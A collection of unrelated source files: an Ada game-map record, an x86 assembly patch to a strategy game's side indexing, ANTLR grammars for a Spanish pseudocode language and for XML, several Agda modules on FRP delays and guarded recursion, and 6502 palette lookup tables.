Procedure Delete_Map (Location : in out Room_Ptr);
---------------------------------------------------------------------------------------------------
Private
Type Room;
Type Room_Ptr is access Room;
Type Room is record
North : Room_Ptr;
East : Room_Ptr;
South : Room_Ptr;
West : Room_Ptr;
Y_Axis : Integer;
X_Axis : Integer;
Item : Integer;
Statue : Boolean := False;
Boss : Boolean := False;
Traversed : Boolean := False;
Set : Boolean := False;
End Record;
end game_map;
|
src/mods/sideindex_improvements_v2.asm | mvdhout1992/ts-patches | 33 | 10503 | <gh_stars>10-100
; Support for multiple sides for Prerequisites and AITriggerTypes
; This removes some assumptions that there are only two sides, called "GDI" and
; "Nod" with index 0 and 1 respectively, and all other country IDs get -1. After
; applying this hack, only "Neutral" and "Special" will get the invalid side
; index -1 while all other houses get their index in the Countries list as side
; index.
; "GDI" and "Nod" are still special cased: Country IDs starting with those names
; are still assigned the side indexes 0 and 1 respectively, just like in the
; original game.
; Author: AlexB
; Date: 2016-07-28
%include "macros/patch.inc"
%include "macros/hack.inc"
; Assign Country index as side index, hardcode Neutral and Special to -1, as
; well as IDs starting with GDI or Nod to 0 and 1 respectively.
hack 0x004BADDD
_HouseClass_CTOR_SideIndex:
mov edi, eax
push 0x006FD598; offset "Neutral"
lea eax, [edi+14h]; AbstractTypeClass::ID
push eax
call 0x006B73A0; __strcmpi
add esp, 08h
test eax, eax
jz 0x004BAE20
push 0x006F20F4; offset "Special"
lea eax, [edi+14h]; AbstractTypeClass::ID
push eax
call 0x006B73A0; __strcmpi
add esp, 08h
test eax, eax
jz 0x004BAE20
xor esi, esi
push 3
push 0x006FCEB8; offset "GDI"
lea eax, [edi+14h]; AbstractTypeClass::ID
push eax
call 0x006B7D20; __strnicmp
add esp, 0Ch
test eax, eax
jz .AssignCountryIndex
inc esi
push 3
push 0x006FCEB4; offset "Nod"
lea eax, [edi+14h]; AbstractTypeClass::ID
push eax
call 0x006B7D20; __strnicmp
add esp, 0Ch
test eax, eax
jz .AssignCountryIndex
mov esi, [edi+64h]; HouseTypeClass::ArrayIndex
.AssignCountryIndex:
mov [ebp+0C0h], esi; HouseClass::SideIndex
jmp 0x004BAE20
@CLEAR 0x004BADE2, 0x90, 0x004BAE20
; Always check for ConYard of required Owner
@LJMP 0x004BC077, 0x004BC082
; AITriggerTypes no longer assume not-GDI means Nod and vice versa
@SET 0x004109EF, {mov eax, [esi+74h]}; AITriggerTypeClass::SideIndex
@SET 0x004109F2, {test eax, eax}
@SJZ 0x004109F4, 0x00410A1F; 0 means all houses pass
@SET 0x004109F6, {dec eax}
@SET 0x004109F7, {cmp eax, [ebp+0C0h]}; HouseClass::SideIndex
@SJZ 0x004109FD, 0x00410A1F; Only specific side matches (1-based)
@SET 0x004109FF, {nop}
@CLEAR 0x00410A09, 0x90, 0x00410A1F
|
Psicoder.g4 | maasencioh/lenguajes | 0 | 3872 | grammar Psicoder;
// REGLAS SINTACTICAS
expresionPrimaria
: 'estructura' ID estructura 'fin_estructura' expresionPrimaria
| 'funcion' 'entero' ID '(' parametros ')' 'hacer' cuerpo 'retornar' (ID | ENTERO) 'fin_funcion' expresionPrimaria
| 'funcion' 'booleano' ID '(' parametros ')' 'hacer' cuerpo 'retornar' (ID | 'verdaderpo' | 'falso') 'fin_funcion' expresionPrimaria
| 'funcion' 'caracter' ID '(' parametros ')' 'hacer' cuerpo 'retornar' (ID | CARACTER) 'fin_funcion' expresionPrimaria
| 'funcion' 'real' ID '(' parametros ')' 'hacer' cuerpo 'retornar' (ID | REAL) 'fin_funcion' expresionPrimaria
| 'funcion' 'cadena' ID '(' parametros ')' 'hacer' cuerpo 'retornar' (ID | CADENA) 'fin_funcion' expresionPrimaria
| 'funcion_principal' cuerpo 'fin_principal'
;
estructura
:declaracion*;
declaracion
: ('entero' ID (',' ID)* ';'
| 'booleano' ID (',' ID)* ';'
| 'caracter' ID (',' ID)* ';'
| 'real' ID (',' ID)* ';'
| 'cadena' ID (',' ID)* ';'
)+;
parametros
: 'entero' ID (',' ID)*
| 'booleano' ID (',' ID)*
| 'caracter' ID (',' ID)*
| 'real' ID (',' ID)*
| 'cadena' ID (',' ID)*
;
cuerpo : (estructuraControl | binarias)*;
estructuraControl
: (si estructuraControl
| para estructuraControl
| mientras estructuraControl
| multiple estructuraControl
)+;
si : 'si' '(' logicas ')' 'entonces' cuerpo ('si_no' cuerpo)? 'fin_si';
mientras
: 'mientras' '(' logicas ')' 'hacer' cuerpo 'fin_mientras'
| 'hacer' cuerpo 'mientras' '(' logicas ')'
;
para : 'para' '(' (asignacion | ID '=' ENTERO) ';' logicas ';' ENTERO ')' 'hacer' cuerpo 'fin_para';
multiple : 'seleccionar' '(' ID ')' 'entre' casos 'fin_seleccionar';
logicas
: logicas operadorl logicas
| '(' logicas ')'
| ID operadorl ID
| ID operadorl ENTERO
| ID operadorl 'verdadero'
| ID operadorl 'falso'
| ID operadorl REAL
| ID operadorl CADENA
| ID operadorl CARACTER
| ENTERO operadorl ID
| 'verdadero' operadorl ID
| 'falso' operadorl ID
| REAL operadorl ID
| CADENA operadorl ID
| CARACTER operadorl ID
| binarias '==' ENTERO
| binarias '==' 'verdadero'
| binarias '==' 'falso'
| binarias '==' REAL
| binarias '==' CADENA
| binarias '==' CARACTER
| ENTERO '==' binarias
| 'verdadero' '==' binarias
| 'falso' '==' binarias
| REAL '==' binarias
| CADENA '==' binarias
| CARACTER '==' binarias
;
operadorl
: '<'
| '>'
| '<='
| '>='
| '=='
| '&&'
| '||'
| '!='
| '!'
;
binarias : opBinarias ';';
opBinarias
: '(' opBinarias ')'
| ID operador ID
| ID operador ENTERO
| ID operador REAL
| ENTERO operador ID
| REAL operador ID
;
operador
: '+'
| '-'
| '*'
| '/'
| '%'
| '='
;
asignacion
: 'entero' ID re? ';'
| 'booleano' ID rb? ';'
| 'caracter' ID rc? ';'
| 'real' ID rr? ';'
| 'cadena' ID rs? ';'
;
re
: ',' ID re ('=' ENTERO)?
|
;
rb
: ',' ID rb ('=' ('verdadero' | 'falso'))?
|
;
rc
: ',' ID rc ('=' CARACTER)?
|
;
rr
: ',' ID rr ('=' REAL)?
|
;
rs
: ',' ID rs ('=' CADENA)?
|
;
casos
: 'caso' ENTERO ':' cuerpo 'romper' ';' casos
| 'defecto' ':' cuerpo
;
// REGLAS LEXICAS
REAL: ('0'..'9')+'.'('0'..'9')+;
ENTERO : ('0'..'9')+;
CADENA : '"[^"]*"';
CARACTER : '\'[^\']\'';
ID : '[a-zA-Z]+[a-zA-Z0-9_]*';
ESPACIO: [\t\r\n]+ -> skip ;
|
src/agda/FRP/JS/Delay.agda | agda/agda-frp-js | 63 | 10637 | open import FRP.JS.Nat using ( ℕ ; float ) renaming
( _+_ to _+n_ ; _∸_ to _∸n_ ; _*_ to _*n_ ; _≟_ to _≟n_ ; _≠_ to _≠n_
; _/_ to _/n_ ; _/?_ to _/?n_ ; _≤_ to _≤n_ ; _<_ to _<n_ )
open import FRP.JS.Float using ( ℝ )
open import FRP.JS.Bool using ( Bool )
open import FRP.JS.True using ( True )
open import FRP.JS.Maybe using ( Maybe )
module FRP.JS.Delay where
record Delay : Set where
constructor _ms
field toℕ : ℕ
{-# COMPILED_JS Delay function(x,v) { return v["_ms"](x); } #-}
{-# COMPILED_JS _ms function(d) { return d; } #-}
_≟_ : Delay → Delay → Bool
(d ms) ≟ (e ms) = d ≟n e
{-# COMPILED_JS _≟_ function(d) { return function(e) { return d === e; }; } #-}
_≠_ : Delay → Delay → Bool
(d ms) ≠ (e ms) = d ≠n e
{-# COMPILED_JS _≠_ function(d) { return function(e) { return d !== e; }; } #-}
_≤_ : Delay → Delay → Bool
(d ms) ≤ (e ms) = d ≤n e
{-# COMPILED_JS _≤_ function(d) { return function(e) { return d <= e; }; } #-}
_<_ : Delay → Delay → Bool
(d ms) < (e ms) = d <n e
{-# COMPILED_JS _<_ function(d) { return function(e) { return d < e; }; } #-}
_+_ : Delay → Delay → Delay
(d ms) + (e ms) = (d +n e) ms
{-# COMPILED_JS _+_ function(d) { return function(e) { return d + e; }; } #-}
_∸_ : Delay → Delay → Delay
(d ms) ∸ (e ms) = (d ∸n e) ms
{-# COMPILED_JS _∸_ function(d) { return function(e) { return Math.min(0, d - e); }; } #-}
_*_ : ℕ → Delay → Delay
n * (d ms) = (n *n d) ms
{-# COMPILED_JS _*_ function(n) { return function(d) { return n * d; }; } #-}
_/_ : ∀ (d e : Delay) → {e≠0 : True (e ≠ 0 ms)} → ℝ
_/_ (d ms) (e ms) {e≠0} = _/n_ d e {e≠0}
{-# COMPILED_JS _/_ function(d) { return function(e) { return function() { return d / e; }; }; } #-}
_/?_ : Delay → Delay → Maybe ℝ
(d ms) /? (e ms) = d /?n e
{-# COMPILED_JS _/?_ function(d) { return function(e) { if (e === 0) { return null; } else { return d / e; } }; } #-}
_sec : ℕ → Delay
n sec = n * (1000 ms)
{-# COMPILED_JS _sec function(t) { return t * 1000; } #-}
_min : ℕ → Delay
n min = n * (60000 ms)
{-# COMPILED_JS _min function(t) { return t * 60000; } #-}
|
guarded-recursion/clocks.agda | np/guarded-recursion | 1 | 8744 | -- broken since the clocks are not supposed to be freely instantiable
open import guarded-recursion.prelude
renaming (O to zero; S to suc)
open Coe
module guarded-recursion.clocks
(Clk : Type)
(▹ : ∀ {a} → Clk → Set a → Set a)
(▹′ : ∀ {a} κ → ▹ κ (Set a) → Set a)
--▹′ κ A = ▹ κ A
(next : ∀ {κ a} {A : Set a} → A → ▹ κ A)
(▹′-rule : ∀ {κ a} {A : Set a} → ▹′ κ (next A) ≡ ▹ κ A)
-- (▹′-rule : ∀ {a} {A : Set a} → ▹′ ∘ next ≡ ▹_ {A})
(fix : ∀ {κ a} {A : Set a} → (▹ κ A → A) → A)
(fix-rule : ∀ {κ a} {A : Set a} {f : ▹ κ A → A} → fix f ≡ f (next (fix f)))
(_⊛_ : ∀ {κ a b} {A : Set a} {B : Set b} → ▹ κ (A → B) → ▹ κ A → ▹ κ B)
(fix-uniq : ∀ {κ a} {A : Set a} (u : A) (f : ▹ κ A → A) → u ≡ f (next u) → u ≡ fix f)
(next⊛next : ∀ {κ a b} {A : Set a} {B : Set b} (f : A → B) (x : A)
→ next f ⊛ next x ≡ next {κ} (f x))
where
roll▹′ : ∀ {κ a} {A : Set a} → ▹ κ A → ▹′ κ (next A)
roll▹′ = coe! ▹′-rule
un▹′ : ∀ {κ a} {A : Set a} → ▹′ κ (next A) → ▹ κ A
un▹′ = coe ▹′-rule
▹Fix : ∀ {a} → Clk → Set a → Set a
▹Fix κ X = (▹ κ X → X) → X
▹Endo : ∀ {a} → Clk → Set a → Set a
▹Endo κ X = ▹ κ X → X
μ : ∀ {a} → Fix (Set a)
μ F = ∀ {κ} → fix (F ∘ ▹′ κ)
un : ∀ {κ a f} → fix {κ} {A = Set a} f → f (next (fix f))
un = coe fix-rule
{-
unμ : ∀ {κ a} f → μ {a} f → f (▹ κ (μ f))
unμ {κ} {a} f x rewrite sym (▹′-rule {κ} {A = μ f}) = {!un {κ} x!}
-}
roll : ∀ {κ a f} → f (next (fix f)) → fix {κ} {A = Set a} f
roll = coe! fix-rule
{-
μ-rule : ∀ {κ a} f → μ {a} f ≡ f (▹ κ (μ f))
μ-rule f = {!trans fix-rule (cong f (▹′-rule {A = μ f}))!}
-}
{-
rollμ : ∀ {a} f → (∀ {κ} → f (▹ κ (μ f))) → μ {a} f
rollμ f x {κ} = {!roll (x {κ})!}
-- rollμ f = subst id (sym (μ-rule f))
-}
un₁ : ∀ {κ a b} {A : Set a} {f x} → fix {κ} {A = A → Set b} f x → f (next (fix f)) x
un₁ = coe₁ fix-rule
roll₁ : ∀ {κ a b} {A : Set a} {f x} → f (next (fix f)) x → fix {κ} {A = A → Set b} f x
roll₁ = coe₁! fix-rule
un₂ : ∀ {κ a b} {A : Set a} {B : Set b} {c f x y} → fix {κ} {A = A → B → Set c} f x y → f (next (fix f)) x y
un₂ = coe₂ fix-rule
roll₂ : ∀ {κ a b} {A : Set a} {B : Set b} {c f x y} → f (next (fix f)) x y → fix {κ} {A = A → B → Set c} f x y
roll₂ = coe₂! fix-rule
map▹ : ∀ {κ a b} {A : Set a} {B : Set b} → (A → B) → ▹ κ A → ▹ κ B
map▹ f ▹x = next f ⊛ ▹x
_⊛′_ : ∀ {κ a b} {A : Set a} {B : A → Set b} → ▹ κ ((x : A) → B x) → (x : A) → ▹ κ (B x)
▹f ⊛′ x = map▹ (λ f → f x) ▹f
module SimpleStream where
F : Type → Type → Type
F A X = A × X
S : Type → Type
S A = μ (F A)
{-
data IsStream (s : S A) : Type where
-- cons : ∀ x xs → IsStream xs → IsStream (cons x xs)
cons : ∀ x xs → (▹ IsStream) ⊛ next xs → IsStream (cons x xs)
cons : ∀ x xs → ▹ (IsStream xs) → IsStream (cons x xs)
-}
μ₁F' : ∀ {κ a} {A : Set a} → ((A → ▹ κ Type) → A → Type) → (▹ κ (A → Type) → A → Type)
μ₁F' F self = F (λ x → (self ⊛ next x))
μ₁F : ∀ {κ a} {A : Set a} → ((A → Type) → A → Type) → (▹ κ (A → Type) → A → Type)
μ₁F F self = F (λ x → ▹′ _ (self ⊛ next x))
-- μ₁ : Fix (Endo Type)
μ₁ : ∀ {a} {A : Set a} → ((A → Type) → A → Type) → A → Type
μ₁ F x = ∀ {κ} → fix (μ₁F {κ} F) x
module μId where
μid : Type
μid = μ id
{-
μid-rule : μid ≡ (∀ {κ} → ▹ κ μid)
μid-rule = {!trans fix-rule (▹′-rule {A = μ id})!}
-}
{-
ω : μid
ω = fix (rollμ id)
-}
|
src/main/kotlin/craicoverflow89/koxml/language/KoXML.g4 | CraicOverflow89/KoXML | 0 | 7411 | <reponame>CraicOverflow89/KoXML
grammar KoXML;
@header
{
import craicoverflow89.koxml.language.constructs.*;
import java.util.ArrayList;
}
document returns [KoXMLDocument result]
: '<?xml' attributeList '?>'
root = nodeGroup
EOF
{$result = new KoXMLDocument($root.result, $attributeList.result);}
;
nodeGroup returns [KoXMLGroup result]
: '<' tag1 = string attributeList '>'
{ArrayList<KoXMLNode> children = new ArrayList();}
(
(
nodeGroup {children.add($nodeGroup.result);}
|
nodeSingle {children.add($nodeSingle.result);}
|
nodeValue {children.add($nodeValue.result);}
|
comment
)
)*
'<' '/' tag2 = string '>'
{$result = new KoXMLGroup($tag1.text, $attributeList.result, children);}
;
nodeSingle returns [KoXMLSingle result]
: '<' tag = string attributeList '/' '>'
{$result = new KoXMLSingle($tag.text, $attributeList.result);}
;
nodeValue returns [KoXMLValue result]
: '<' tag1 = string attributeList '>'
value = stringValue
'<' '/' tag2 = string '>'
{$result = new KoXMLValue($tag1.text, $attributeList.result, $value.text);}
;
attributeList returns [KoXMLAttributeList result]
@init {ArrayList<KoXMLAttribute> list = new ArrayList();}
: (
' ' attribute {list.add($attribute.result);}
)*
{$result = new KoXMLAttributeList(list);}
;
attribute returns [KoXMLAttribute result]
: key = string '=' '"' value = stringValue '"'
{$result = new KoXMLAttribute($key.text, $value.text);}
;
string
: CHAR+
;
stringValue
: (string | ' ' | '-' | '!' | '|')*
;
comment
: '<!--' (string | ' ' | '<' | '>' | '/' | '=' | '"' | '|')+ '-->'
;
// Lexer Rules
CHAR: [A-Za-z0-9.]+;
WHITESPACE: [ \t\r\n]+ -> skip; |
Definition/LogicalRelation/Substitution/Reflexivity.agda | Vtec234/logrel-mltt | 0 | 252 | {-# OPTIONS --without-K --safe #-}
open import Definition.Typed.EqualityRelation
module Definition.LogicalRelation.Substitution.Reflexivity {{eqrel : EqRelSet}} where
open EqRelSet {{...}}
open import Definition.LogicalRelation.Properties
open import Definition.LogicalRelation.Substitution
open import Tools.Product
-- Reflexivity of valid types.
reflᵛ : ∀ {A Γ l}
([Γ] : ⊩ᵛ Γ)
([A] : Γ ⊩ᵛ⟨ l ⟩ A / [Γ])
→ Γ ⊩ᵛ⟨ l ⟩ A ≡ A / [Γ] / [A]
reflᵛ [Γ] [A] ⊢Δ [σ] =
reflEq (proj₁ ([A] ⊢Δ [σ]))
-- Reflexivity of valid terms.
reflᵗᵛ : ∀ {A t Γ l}
([Γ] : ⊩ᵛ Γ)
([A] : Γ ⊩ᵛ⟨ l ⟩ A / [Γ])
([t] : Γ ⊩ᵛ⟨ l ⟩ t ∷ A / [Γ] / [A])
→ Γ ⊩ᵛ⟨ l ⟩ t ≡ t ∷ A / [Γ] / [A]
reflᵗᵛ [Γ] [A] [t] ⊢Δ [σ] =
reflEqTerm (proj₁ ([A] ⊢Δ [σ])) (proj₁ ([t] ⊢Δ [σ]))
|
tables.asm | laubzega/c0pperdragon-VIC-II-Palette-editor | 12 | 9615 | <reponame>laubzega/c0pperdragon-VIC-II-Palette-editor<filename>tables.asm
;*******************
;Pre computed tables
;*******************
DefaultPaletteYPbPrLo
.byte 16, 16, 184, 11, 182, 132, 78, 17, 117, 114, 184, 16, 16, 12, 70, 16
DefaultPaletteYPbPrHi
.byte 2, 126, 41, 78, 50, 65, 35, 93, 49, 33, 65, 42, 62, 93, 63, 78
;precalculated Y (luma) table
; new lumas
Lumas; .byte 0,255,79,159,95,127,63,191,95,63,127,79,119,191,119,159
.byte 0,31 ,9 ,19 ,11,15 ,7 ,23 ,11,7 ,15 ,9 ,14 ,23 ,14 ,19
; old lumas
; .byte 0,255,63,191,127,127,63,191,127,63,127,63,127,191,127,191
.byte 0,31 ,7 ,23 ,15 ,15 ,7 ,23 ,15 ,7 ,15 ,7 ,15 ,23 ,15 ,23
; tweaked lumas
; .byte 0,255,79,159,95,127,63,191,95,63,127,79,127,191,127,159
Angles .byte 0,0,4,12,2,10,15,7,5,6,4,0,0,10,15,0
X5Tab .byte 0,5,10,15,20,25,30,35,40,45,50,55,60,65,70,75,80,85,90,95,100
X16Tab .byte 0,16,32,48,64,80,96,112,128,144,160,176,192,208,224,240
ConLUT .byte >ConLut00,>ConLut01,>ConLut02,>ConLut03,>ConLut04,>ConLut05,>ConLut06,>ConLut07,>ConLut08,>ConLut09
.byte >ConLut10,>ConLut11,>ConLut12,>ConLut13,>ConLut14,>ConLut15,>ConLut16,>ConLut17,>ConLut18,>ConLut19
.byte >ConLut20,>ConLut21,>ConLut22,>ConLut23,>ConLut24,>ConLut25,>ConLut26,>ConLut27,>ConLut28,>ConLut29
.byte >ConLut30,>ConLut31
.align $100,255
ConLut00 .byte 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
ConLut01 .byte 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2
ConLut02 .byte 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5
ConLut03 .byte 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
ConLut04 .byte 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,10,10,10,10,10,10
ConLut05 .byte 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12
ConLut06 .byte 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,15,15,15,15,15,15
ConLut07 .byte 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,8,8,8,8,8,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,15,15,15,15,15,15,15,15,15,15,15,15,15,15,16,16,16,16,16,16,16,16,16,16,16,16,16,16,17,17,17,17,17,17,17,17,17,17,17,17,17
ConLut08 .byte 0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,8,8,8,8,8,9,9,9,9,9,9,9,9,9,9,9,9,10,10,10,10,10,10,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,13,13,13,13,13,13,13,13,13,13,13,13,14,14,14,14,14,14,14,14,14,14,14,14,14,15,15,15,15,15,15,15,15,15,15,15,15,16,16,16,16,16,16,16,16,16,16,16,16,16,17,17,17,17,17,17,17,17,17,17,17,17,18,18,18,18,18,18,18,18,18,18,18,18,18,19,19,19,19,19,19,19,19,19,19,19,19,20,20,20,20,20,20
ConLut09 .byte 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,8,8,8,9,9,9,9,9,9,9,9,9,9,9,9,10,10,10,10,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,13,13,13,13,13,13,13,13,13,13,13,14,14,14,14,14,14,14,14,14,14,14,15,15,15,15,15,15,15,15,15,15,15,16,16,16,16,16,16,16,16,16,16,16,17,17,17,17,17,17,17,17,17,17,17,18,18,18,18,18,18,18,18,18,18,18,18,19,19,19,19,19,19,19,19,19,19,19,20,20,20,20,20,20,20,20,20,20,20,21,21,21,21,21,21,21,21,21,21,21,22,22,22,22,22,22,22,22,22,22,22
ConLut10 .byte 0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,8,8,9,9,9,9,9,9,9,9,9,9,10,10,10,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,12,13,13,13,13,13,13,13,13,13,13,14,14,14,14,14,14,14,14,14,14,15,15,15,15,15,15,15,15,15,15,16,16,16,16,16,16,16,16,16,16,17,17,17,17,17,17,17,17,17,17,18,18,18,18,18,18,18,18,18,18,19,19,19,19,19,19,19,19,19,19,20,20,20,20,20,20,20,20,20,20,21,21,21,21,21,21,21,21,21,21,22,22,22,22,22,22,22,22,22,22,23,23,23,23,23,23,23,23,23,23,24,24,24,24,24,24,24,24,24,24,25,25,25,25,25,25
